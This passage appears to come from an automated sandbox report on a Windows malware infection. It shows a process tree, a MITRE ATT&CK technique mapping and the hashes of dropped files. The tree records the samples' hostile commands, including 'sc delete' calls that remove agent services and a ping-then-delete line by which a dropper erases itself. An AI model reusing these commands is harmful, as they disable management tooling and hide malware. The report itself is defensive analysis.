                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2808
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc delete tacticalagent
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:4488
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c sc delete tacticalrpc
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:224
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc delete tacticalrpc
                                    6⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:2252
                            • C:\Users\Admin\Desktop\a\UNICO-Venta3401005.exe
                              "C:\Users\Admin\Desktop\a\UNICO-Venta3401005.exe"
                              3⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:1604
                              • C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe
                                "C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe"
                                4⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • System Location Discovery: System Language Discovery
                                • Modifies registry class
                                PID:4068
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c ""C:\Archivos de programa\UNICO - Ventas\ODBC.cmd" "
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:1716
                            • C:\Users\Admin\Desktop\a\svchot.exe
                              "C:\Users\Admin\Desktop\a\svchot.exe"
                              3⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of AdjustPrivilegeToken
                              PID:18816
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\Desktop\a\svchot.exe > nul
                                4⤵
                                • System Location Discovery: System Language Discovery
                                • System Network Configuration Discovery: Internet Connection Discovery
                                PID:18912
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping -n 2 127.0.0.1
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  • System Network Configuration Discovery: Internet Connection Discovery
                                  • Runs ping.exe
                                  PID:19020
                            • C:\Users\Admin\Desktop\a\svcyr.exe
                              "C:\Users\Admin\Desktop\a\svcyr.exe"
                              3⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:8292
                          • C:\Users\Admin\Desktop\a\Pawyvstri.exe
                            "C:\Users\Admin\Desktop\a\Pawyvstri.exe"
                            2⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:3384
                        • C:\Windows\System32\rundll32.exe
                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                          1⤵
                            PID:1680
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2488 -ip 2488
                            1⤵
                              PID:2668
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 244 -ip 244
                              1⤵
                                PID:7636
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 7644 -ip 7644
                                1⤵
                                  PID:11712
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 25440 -ip 25440
                                  1⤵
                                    PID:25464
                                  • C:\Windows\SysWOW64\Gwogw.exe
                                    C:\Windows\SysWOW64\Gwogw.exe -auto
                                    1⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    PID:16600
                                    • C:\Windows\SysWOW64\Gwogw.exe
                                      C:\Windows\SysWOW64\Gwogw.exe -acsi
                                      2⤵
                                      • Drops file in Drivers directory
                                      • Sets service image path in registry
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: LoadsDriver
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:16656
                                  • C:\Windows\tcrbyc.exe
                                    C:\Windows\tcrbyc.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Checks processor information in registry
                                    PID:16976
                                  • C:\Windows\SysWOW64\Gwogw.exe
                                    C:\Windows\SysWOW64\Gwogw.exe -auto
                                    1⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    PID:18856
                                    • C:\Windows\SysWOW64\Gwogw.exe
                                      C:\Windows\SysWOW64\Gwogw.exe -acsi
                                      2⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:18924

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Reconnaissance

                                  Resource Development

                                  Initial Access

                                  Execution

                                  Command and Scripting Interpreter

                                  1
                                  T1059

                                  PowerShell

                                  1
                                  T1059.001

                                  System Services

                                  1
                                  T1569

                                  Service Execution

                                  1
                                  T1569.002

                                  Persistence

                                  Boot or Logon Autostart Execution

                                  3
                                  T1547

                                  Registry Run Keys / Startup Folder

                                  2
                                  T1547.001

                                  Winlogon Helper DLL

                                  1
                                  T1547.004

                                  Create or Modify System Process

                                  1
                                  T1543

                                  Windows Service

                                  1
                                  T1543.003

                                  Privilege Escalation

                                  Abuse Elevation Control Mechanism

                                  1
                                  T1548

                                  Bypass User Account Control

                                  1
                                  T1548.002

                                  Boot or Logon Autostart Execution

                                  3
                                  T1547

                                  Registry Run Keys / Startup Folder

                                  2
                                  T1547.001

                                  Winlogon Helper DLL

                                  1
                                  T1547.004

                                  Create or Modify System Process

                                  1
                                  T1543

                                  Windows Service

                                  1
                                  T1543.003

                                  Defense Evasion

                                  Abuse Elevation Control Mechanism

                                  1
                                  T1548

                                  Bypass User Account Control

                                  1
                                  T1548.002

                                  Impair Defenses

                                  2
                                  T1562

                                  Disable or Modify Tools

                                  1
                                  T1562.001

                                  Modify Registry

                                  6
                                  T1112

                                  Subvert Trust Controls

                                  1
                                  T1553

                                  Install Root Certificate

                                  1
                                  T1553.004

                                  Virtualization/Sandbox Evasion

                                  2
                                  T1497

                                  Credential Access

                                  Credentials from Password Stores

                                  1
                                  T1555

                                  Credentials from Web Browsers

                                  1
                                  T1555.003

                                  Unsecured Credentials

                                  3
                                  T1552

                                  Credentials In Files

                                  2
                                  T1552.001

                                  Credentials in Registry

                                  1
                                  T1552.002

                                  Discovery

                                  Browser Information Discovery

                                  1
                                  T1217

                                  Query Registry

                                  6
                                  T1012

                                  Remote System Discovery

                                  1
                                  T1018

                                  Software Discovery

                                  1
                                  T1518

                                  Security Software Discovery

                                  1
                                  T1518.001

                                  System Information Discovery

                                  5
                                  T1082

                                  System Location Discovery

                                  1
                                  T1614

                                  System Language Discovery

                                  1
                                  T1614.001

                                  System Network Configuration Discovery

                                  1
                                  T1016

                                  Internet Connection Discovery

                                  1
                                  T1016.001

                                  Virtualization/Sandbox Evasion

                                  2
                                  T1497

                                  Lateral Movement

                                  Collection

                                  Data from Local System

                                  3
                                  T1005

                                  Email Collection

                                  2
                                  T1114

                                  Command and Control

                                  Web Service

                                  1
                                  T1102

                                  Exfiltration

                                  Impact

                                  Service Stop

                                  1
                                  T1489

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\Archivos de programa\Unico - Ventas\ODBC_VEN.exe
                                    Filesize

                                    968KB

                                    MD5

                                    64e7c3e96a954a42bb5f29a0af1a6b3e

                                    SHA1

                                    38e4194c69b5b5f8bac1818f45d23b9465b220c9

                                    SHA256

                                    acda53d2a8f0d67a56e49b4f93d4f95e19e6ac7e35da9ba281314c67f4ef4671

                                    SHA512

                                    80fd63b8279dadd805a855d222d370698e2b0ba69f6d2f28c39ac0bc8b6191da05cc51ad174112628cc4e56b2a7e59d3cafc55361b77fa4c12dde33f88a6a551

                                    Download Submit

                                  • C:\Archivos de programa\Unico - Ventas\odbc.ini
                                    Filesize

                                    234B

                                    MD5

                                    ae975648280d07029fb1cc5c424a7fed

                                    SHA1

                                    4904248e2b2403c0e8d98ef08e4ad86549d02eb2

                                    SHA256

                                    5cdf5c3ac6274a8098856150572ddd3484f3c8039dc303a003e009d51c32de74

                                    SHA512

                                    656b867ac68f3405b0f2eae28984d2132ab34cdfa59cecb734523e675e78f3aa95b77950875f9dbf3c23c671dc42cdb720de2b811804db8e0b20544f257be44d

                                    Download Submit

                                  • C:\Archivos de programa\Unico - Ventas\odbc.ini
                                    Filesize

                                    234B

                                    MD5

                                    9ccfc58e3f9b3f7c1977a23d45598691

                                    SHA1

                                    938f692e7610cd25e7c8fcbc3813c2e766400df7

                                    SHA256

                                    55b82d79e9e84a44e4c917bc8efc180a47e4d30f53bc966648cd491c0b575c6e

                                    SHA512

                                    682d63eece6978df000feb2e5a1c60d0e42f1cbd19f06c3aa21323b91a758f05bd2c655e9aa49d9a5427346a3c16d7a6175195fc40f15b05d2dd231ada74b003

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe
                                    Filesize

                                    1.5MB

                                    MD5

                                    9a994d678fb05bf73d7b61c76788f7eb

                                    SHA1

                                    3eb3769906efb6ff161555ebf04c78cb10d60501

                                    SHA256

                                    84ca892ab2410acef28721d58067fcba71f0de54ede62ef2fca9aeb845b5227f

                                    SHA512

                                    c7c846d6d8d2e43871c1c4471d26c6cfcee29a5b563eca69fef2f4e394767ef3e61a231626a1ff64aaf6a907d66a0cbe9db1c965128e3bab373e406ea891e6ce

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe
                                    Filesize

                                    3.6MB

                                    MD5

                                    f978d5eba9977af32374dcb616cb63fe

                                    SHA1

                                    d45c19f173d68fb11dd1c358b42b135e634ebe4e

                                    SHA256

                                    2921409fa28850e3c1874ae52a25b00f93961c278cf131f11f67cee89061f7c8

                                    SHA512

                                    0075c468db47b8f92b9d329089a61fd554c5f7fc374be34fcff8f925dba334ba41bab09303e16d32607597af5e2636203db312c412fc68b3bee60a799620fe9f

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\sqlite3.dll
                                    Filesize

                                    630KB

                                    MD5

                                    e477a96c8f2b18d6b5c27bde49c990bf

                                    SHA1

                                    e980c9bf41330d1e5bd04556db4646a0210f7409

                                    SHA256

                                    16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

                                    SHA512

                                    335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\BundleConfig.json
                                    Filesize

                                    1KB

                                    MD5

                                    720e816b722b5d82ebfc9dcb44f28f69

                                    SHA1

                                    f3a7ec0cc47e7c5da8759e601f617bd2a946fd5b

                                    SHA256

                                    b90ea75c7284525014467554cd68b3dca1fa8cd2420013b960e377523a9ab962

                                    SHA512

                                    3430372b3acfa59251c12137d2dac179127c3a423bd20abf9b07a6e63f7e15fa65a568f71efd0b4b2491ca36a8afef948d1e73f4fd1ca5e476c80a66236a2e20

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\DevLib.Services.dll
                                    Filesize

                                    232KB

                                    MD5

                                    68680186a2638c7439e62f7873bd2a05

                                    SHA1

                                    aaf9d047aa8eab9b0890c5c66778aab82e7d0b38

                                    SHA256

                                    316cc927c92bdc104fa41cdcd10ae6cff20373d08bfb748ffbd8ea04b2a71aa0

                                    SHA512

                                    38b4f4a22f83925fdaae57746e26614740a1e61c6489612b048d357b5e7fe45ddab877bcf44be2cf1a70c6c4aa8d3fa25582f99d11ebf951a60248b47625be40

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\DevLib.dll
                                    Filesize

                                    74KB

                                    MD5

                                    bc324abef123d557ece4efc5a168d452

                                    SHA1

                                    33064c1fbd30256dc5e1a5771c6d90b571faa59b

                                    SHA256

                                    320a56448860eb32360481a88d8d6ef87d563fd1bd353bd3006aa3054c728d98

                                    SHA512

                                    4ed1d88957c4c33e49953e7694663381cc24b26e2a1b18cdae91bcfa51ae129abf74004acfd4f3b110f6c15fc1985807380de582e64600f2c4646815c214352f

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\DynActsBLL.dll
                                    Filesize

                                    20KB

                                    MD5

                                    9fdd07a61f28a1649e022a23dadfa375

                                    SHA1

                                    23018134936b4363137346be39f89f3350906224

                                    SHA256

                                    16b70981d446f4541ed97c85e708e027f05a88a17fecd958ee9be491f313f088

                                    SHA512

                                    e20f01eadd1bb66378bdfa63baf3cde4f6e5461f817e2057cf0eb9a0deab3cad388d951da8decda6b13af743df1f44a4bcdcd654c35722583427af98ae6dea6c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.dll
                                    Filesize

                                    130KB

                                    MD5

                                    fd7595ed21bfa07c4d9591771e5e7b9a

                                    SHA1

                                    98d10c6bea7c8d9fc4d14fcef0e2fd9fafc1da68

                                    SHA256

                                    003e0beda739fb9760cb939dd94c1d32f1f158d0018a85c623aa4c3c90ded20a

                                    SHA512

                                    80ba400a8d471ed412304b081914afc4d8fdb0844fcff7f2134fc5fa764ee7f6d012b4dd82a1875dd177ab5f3df834d514fbf86f19650eeee889150e13548b56

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe
                                    Filesize

                                    19KB

                                    MD5

                                    dc5c6cc514e5faf7c9f67b23cb739550

                                    SHA1

                                    fd65e2cd32280624cc404ea308f78ddeb7d3de2c

                                    SHA256

                                    76b26701e92a9ca6c47459ae8c3adbd73779f9079a4b720c325d2fab5ee4eff6

                                    SHA512

                                    6e41049cdf3cd9211c2927aa318cc424967098c624d421662bdeb55ae261715269578e417aec33d55f3bef18e32ccad4d4828419f0442bc69473de65202f29d2

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\GenericSetup.exe.config
                                    Filesize

                                    1KB

                                    MD5

                                    c5bb4979ee79c1a681c76afea65c95ed

                                    SHA1

                                    d1714ece77da71e377011b9a689af2e0675bb036

                                    SHA256

                                    54f1667525366c3c0f21949b406f62097ff9c5b4982a188a1ae5a3b61ae9a59c

                                    SHA512

                                    de0e8e036a0dcc5cf5f3cd6e7b33a0479b6311c6ad6c98a919c14f6318acbe57404830a2a1bfaa53b5850824a8fbf93227a5e02c846f53420e7c2b7fa799b0dd

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\H2OSciter.dll
                                    Filesize

                                    139KB

                                    MD5

                                    0b5ec61c8a594bcf411da311ce7c472f

                                    SHA1

                                    de906c7aec2fda0efb1a0d21739f4b9d280cd8c9

                                    SHA256

                                    b0163365c1a3a37a9ad3a6744bc2851f2a3eabe9cfd5788077aca4e47e7ac385

                                    SHA512

                                    d508432eea7124dabd40e1b50cb73c875ed5a3e2404ddbcae5255c120e0a982d0b7af2e57cad924e5ab9ecb96f69ce33af45c0b81461d4870cc624b24c2f5393

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\HtmlAgilityPack.dll
                                    Filesize

                                    162KB

                                    MD5

                                    a275083c3e74df3641a260a06aaba535

                                    SHA1

                                    c717b274e751fa8fbcbfc3ba620cf8c2402c054a

                                    SHA256

                                    9941cd2a1f6b9dbf3a3cc5092ce903d160dc2db032c7d0a5cd5acd36ff508eb9

                                    SHA512

                                    2860bcc1b19082be821d1c56576a772e0ba8a5da78447d2e695d96ec70954ec398be96469f6bed0da6170f14b0ba907e9f03329ae497df14b7a0917aa610db34

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Microsoft.Win32.TaskScheduler.dll
                                    Filesize

                                    303KB

                                    MD5

                                    3907d3c77489e3cf63441eac6bdae223

                                    SHA1

                                    00bf790b0b871f90dc876880e43485be49bea9bc

                                    SHA256

                                    eedc08e61270149b7ba20f779720279830eeafec464f98054f85dd23a5493dcf

                                    SHA512

                                    59d0409561addcbe67c75a00af71e8ab1b13ade5e72dee60f842f8147a9b8c056fc2a642fe8d5cc433319f2d5526a07dd27613582d6743bd4bdd044c0388e11f

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\MyDownloader.Core.dll
                                    Filesize

                                    68KB

                                    MD5

                                    f186e4845cf98bd997f7f4f4096e5765

                                    SHA1

                                    6e7d5275f19914cf01fcc70f5d735dd97ac10a8c

                                    SHA256

                                    b73d6238e9a29848a438276638d318b766e43d21dc2df1a503b553497a7db4fc

                                    SHA512

                                    81ea5f1187b22597b738221f3b68dcb51f3709e98f039ea7c07675d297eacd6564801b152b7ba8e75a9181965e7ff824bf0f8ae3583558a86690025822b0518e

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\MyDownloader.Extension.dll
                                    Filesize

                                    180KB

                                    MD5

                                    15bdd1c6dbee57849faf507d9dcdbf2b

                                    SHA1

                                    54d00165cd11709885d266a5def87c76a0976828

                                    SHA256

                                    91c5a090148bd616e443aabaf15e5c80d142a8ad993af693283a13b6118c99cb

                                    SHA512

                                    ec2c7e451c4423e98d539acbc550baea4845a0d03f1b768cfcbd0c31011145f1464801d2238b71450d7081e03b8739781cbeb0facec7fa6c195d158a8ad4bea5

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\InstallingPage.html
                                    Filesize

                                    1KB

                                    MD5

                                    182facad1a7a6722f02415f18380159f

                                    SHA1

                                    65c1af45c0e817c10104002803b95594fa182c89

                                    SHA256

                                    9a23979eb2e5d3fabb1826ed42f4e21dabfe3eb1a239006e826849fc92095ac4

                                    SHA512

                                    d7d20fe9d4a67a912b66bbbe495d8ad000de45b4b0bebc1cd2e10fea84dc2c97f1b2e8667c53d9c2a7e11a02f0773b8f06a4debec774933856461ed28671c14e

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\OfferPage.html
                                    Filesize

                                    1KB

                                    MD5

                                    46cb27da449f8bd0edcbd92720c6d5e5

                                    SHA1

                                    adb4968b5970474560bf65ddfe0bd5b0369248aa

                                    SHA256

                                    8ace7607ad674a9f26fdd625801b9e1b9fd10f2d261abdfd912fb0ee61f032fe

                                    SHA512

                                    06a6141c317fd05b87d7c36f8f1feea079e7923cca80431beb9e8a656e7ef3b72a5be12f06ccc24b67285ca5e7c701f6644e153875ae979982d50ad4b57fe784

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\images\loader.gif
                                    Filesize

                                    16KB

                                    MD5

                                    2b26f73d382ab69f3914a7d9fda97b0f

                                    SHA1

                                    a3f5ad928d4bec107ae2941fa6b23c69d19eedd0

                                    SHA256

                                    a6a0b05b1d5c52303dd3e9e2f9cda1e688a490fbe84ea0d6e22a051ab6efd643

                                    SHA512

                                    744ff7e91c8d1059f48de97dc816bc7cc0f1a41ea7b8b7e3382ff69bc283255dfdf7b46d708a062967a6c1f2e5138665be2943ed89d7543fc707e752543ac9a7

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\images\warning48x48.png
                                    Filesize

                                    749B

                                    MD5

                                    d3361cf0d689a1b34d84f483d60ba9c9

                                    SHA1

                                    d89a9551137ae90f5889ed66e8dc005f85cf99ff

                                    SHA256

                                    56739925aada73f9489f9a6b72bfaaa92892b27d20f4d221380ba3eae17f1442

                                    SHA512

                                    247cf4c292d62cea6bf46ac3ab236e11f3d3885cd49fdd28958c7493ebb86ace45c9751424f7312f393932d0a7165e2985f56c764d299b7e37f75457eef2d846

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\style.css
                                    Filesize

                                    11KB

                                    MD5

                                    fdb25da41967d335a1ea14324d77b2d2

                                    SHA1

                                    bf086894de83e740f039ab143f6936dbe462b8e9

                                    SHA256

                                    aa4113da0b93d8148f371126a3b62c411f38d7be494f94a568b672340afbfcfb

                                    SHA512

                                    3f02c95034c1b14dc4b80c2680635357c3a3bf161ddc306139fdf097a0ec6b3a91eda50f0ca4f4120719c625666aa9549fcad4a0bec15e9206e389a0adbcd18d

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\tis\Config.tis
                                    Filesize

                                    102B

                                    MD5

                                    fb1c09fc31ce983ed99d8913bb9f1474

                                    SHA1

                                    bb3d2558928acdb23ceb42950bd46fe12e03240f

                                    SHA256

                                    293959c3f8ebb87bffe885ce2331f0b40ab5666f9d237be4791ed4903ce17bf4

                                    SHA512

                                    9ae91e3c1a09f3d02e0cb13e548b5c441d9c19d8a314ea99bcb9066022971f525c804f8599a42b8d6585cbc36d6573bff5fadb750eeefadf1c5bc0d07d38b429

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\tis\EventHandler.tis
                                    Filesize

                                    10KB

                                    MD5

                                    0cdeed0a5e5fd8a64cc8d6eaa7a7c414

                                    SHA1

                                    2ae93801a756c5e2bcfda128f5254965d4eb25f8

                                    SHA256

                                    8ef25a490d94a4de3f3d4a308c106b7435a7391099b3327e1fdfde8beef64933

                                    SHA512

                                    0bbcf56acf4e862e80af09d33c549cb5b549be00257cfb877c01d2a43eb3d8ac44683078ff02cde5a77c92ec83aeda111d5d3be631015b0aab2de39b87a4dc4c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\tis\Log.tis
                                    Filesize

                                    1014B

                                    MD5

                                    cef7a21acf607d44e160eac5a21bdf67

                                    SHA1

                                    f24f674250a381d6bf09df16d00dbf617354d315

                                    SHA256

                                    73ed0be73f408ab8f15f2da73c839f86fef46d0a269607330b28f9564fae73c7

                                    SHA512

                                    5afb4609ef46f156155f7c1b5fed48fd178d7f3395f80fb3a4fb02f454a3f977d8a15f3ef8541af62df83426a3316d31e1b9e2fd77726cf866c75f6d4e7adc2f

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\tis\TranslateOfferTemplate.tis
                                    Filesize

                                    2KB

                                    MD5

                                    551029a3e046c5ed6390cc85f632a689

                                    SHA1

                                    b4bd706f753db6ba3c13551099d4eef55f65b057

                                    SHA256

                                    7b8c76a85261c5f9e40e49f97e01a14320e9b224ff3d6af8286632ca94cf96f8

                                    SHA512

                                    22a67a8371d2aa2fdbc840c8e5452c650cb161e71c39b49d868c66db8b4c47d3297cf83c711ec1d002bc3e3ae16b1e0e4faf2761954ce56c495827306bab677e

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\Resources\tis\ViewStateLoader.tis
                                    Filesize

                                    14KB

                                    MD5

                                    ef47b355f8a2e6ab49e31e93c587a987

                                    SHA1

                                    8cf9092f6bb0e7426279ac465eb1bbee3101d226

                                    SHA256

                                    e77239dbdcc6762f298cd5c216a4003cf2aa7b0ef45d364dd558a4bd7f3cdb25

                                    SHA512

                                    3957dfc400f1a371acadb2a2bc196177f88863908542f68e144bdd012b54663c726e2e0cc5f25356b16012deee37f7e931ebaa21292c7688ac8becbdd96775fc

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\app.ico
                                    Filesize

                                    766B

                                    MD5

                                    4003efa6e7d44e2cbd3d7486e2e0451a

                                    SHA1

                                    a2a9ab4a88cd4732647faa37bbdf726fd885ea1e

                                    SHA256

                                    effd42c5e471ea3792f12538bf7c982a5cda4d25bfbffaf51eed7e09035f4508

                                    SHA512

                                    86e71ca8ca3e62949b44cfbc7ffa61d97b6d709fc38216f937a026fb668fbb1f515bac2f25629181a82e3521dafa576cac959d2b527d9cc9eb395e50d64c1198

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\de\DevLib.resources.dll
                                    Filesize

                                    21KB

                                    MD5

                                    bfc7936b79d5168f2ca58edf91b38efc

                                    SHA1

                                    f6da18e4e2e0bd5becc15f9df30069e43678af84

                                    SHA256

                                    f8378be90b61292f146ad361081d81ae263cf57454a98075a10e52c383a55f14

                                    SHA512

                                    ff2db940660fb77bab169daa25e5336ed30e500d0f162bbcdfff6515498eaaafc272b06205f21160d7239ed152a1fe556b543f07d6facadcffb0c0ca53d15f0d

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\en\DevLib.resources.dll
                                    Filesize

                                    17KB

                                    MD5

                                    87c2a8de3c78b31c60c47e7170d70646

                                    SHA1

                                    22c3589014bde84af44098058cf8889f897cd28d

                                    SHA256

                                    22c7a278b418b027627a96331d8fc63606d601e0451df0d17d76791316a7c7f4

                                    SHA512

                                    162bee1570330976c04b206014d7f2b3fbad49f51a3e630b7bc95a14afbe6026a262503d841c2bc21db1819abad0c4d784fa101287bbffd0b587b9cb8b493183

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\es\DevLib.resources.dll
                                    Filesize

                                    21KB

                                    MD5

                                    b152cb68a405cff7fa4c32f751adf209

                                    SHA1

                                    14350254e3458e31ee8da5816def9c509c6080af

                                    SHA256

                                    ed0c25c6a79641b029fe81a684a4e49ffd96bd66974535193ab9e145c4517cf2

                                    SHA512

                                    516627f68168170d9adf8a630674503b50bfc5ec3ccd407246141944e9a9ab76bc00f9181638b889d45c7730543ea39a5f0f2a3f81caaa32c62d03850c5aa2cc

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\fr\DevLib.resources.dll
                                    Filesize

                                    21KB

                                    MD5

                                    11b92281a999057fa3fd0f2c5ac91a26

                                    SHA1

                                    522b3a3eca5ff48f37a6f5142ba5f5784bbf1552

                                    SHA256

                                    f40f91da5479bb8727667de820c95836c55e2fa1dc299f6b40006d399c017ab6

                                    SHA512

                                    0613e8b7b03ae33a2f6ac7486c1a0c4fa29f9123fe7601ce81b0ba72d78638830548d41ec830db2ffa790897b3254720e47a90e60dd7c786762ba5edb76ff11a

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\installer.exe
                                    Filesize

                                    1.6MB

                                    MD5

                                    56e9fd0907c410efa0d1b900530ced6d

                                    SHA1

                                    355053bcbd29eed77126ff7239d94c8a991b70da

                                    SHA256

                                    8b439cc5bf4db70a29dc68cb2adb72daa747ccbe75e447c2423f7793de69fbcb

                                    SHA512

                                    0c9335459ab085dddaea9fe4eb9434b5d87f3ed909a93b791fff1b4d7b717977eaac02c50e80063f0d590d82d1fae7dec486767fb1a56b87e75b8b5aa50a3ec9

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\it\DevLib.resources.dll
                                    Filesize

                                    21KB

                                    MD5

                                    ff7be68172b53c68e90d4ef3e91c09a2

                                    SHA1

                                    7fccb2e98d63c9b7b9c10787d101ec7757242df7

                                    SHA256

                                    e2827a1c6570477f14b27f33111c98ad9cea246bfbc4cfe307ac45f4085fc55e

                                    SHA512

                                    2509a55a35f18498bfe38c0f626b1972b197b4c8faa59e07185829a310e8522ccf057224d8133f76d5b31a5968ec182c7bc1a8d1862dee3e0a2cf76edb020c15

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\pt\DevLib.resources.dll
                                    Filesize

                                    21KB

                                    MD5

                                    3a90c71e26df1ef102dde3983752cf61

                                    SHA1

                                    3748301ee9d3e5ef36dbaf821a04c8120babadd2

                                    SHA256

                                    ad4773664ecd9295d5cb71f8469ed5464048e88b29934c858f1f9d2e2fa1bab5

                                    SHA512

                                    9a24daad9293551c4e117ab48be5e0c8e96efe075b810e5af191377b6f5cecaa7d28f73e4cc5df78ed673c5ae6a667e190bde45f4f43a7a6d48a1beb62520b04

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\7zS0ADEBEFA\ru\DevLib.resources.dll
                                    Filesize

                                    23KB

                                    MD5

                                    3d3ebee857b5952281eaf6b0265fdb38

                                    SHA1

                                    668bac77580e02f2fda40d659b0f899ae91ae624

                                    SHA256

                                    13c3248a834c5f7c6243ae7369fd2f9a3d4d881943f790502a9b3912d1cad1fe

                                    SHA512

                                    68b4566c1d2c9c09269972a14a5ad03547683d36c458926e322f9b2164550da509a241e45bc4c7130d5ede4ad42e71c38b6bae18c248a1bce8bf3a6d8b999329

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\Ppwdyrrie
                                    Filesize

                                    40KB

                                    MD5

                                    ab893875d697a3145af5eed5309bee26

                                    SHA1

                                    c90116149196cbf74ffb453ecb3b12945372ebfa

                                    SHA256

                                    02b1c2234680617802901a77eae606ad02e4ddb4282ccbc60061eac5b2d90bba

                                    SHA512

                                    6b65c0a1956ce18df2d271205f53274d2905c803d059a0801bf8331ccaa28a1d4842d3585dd9c2b01502a4be6664bde2e965b15fcfec981e85eed37c595cd6bc

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lvqstfqt.oeo.ps1
                                    Filesize

                                    60B

                                    MD5

                                    d17fe0a3f47be24a6453e9ef58c94641

                                    SHA1

                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                    SHA256

                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                    SHA512

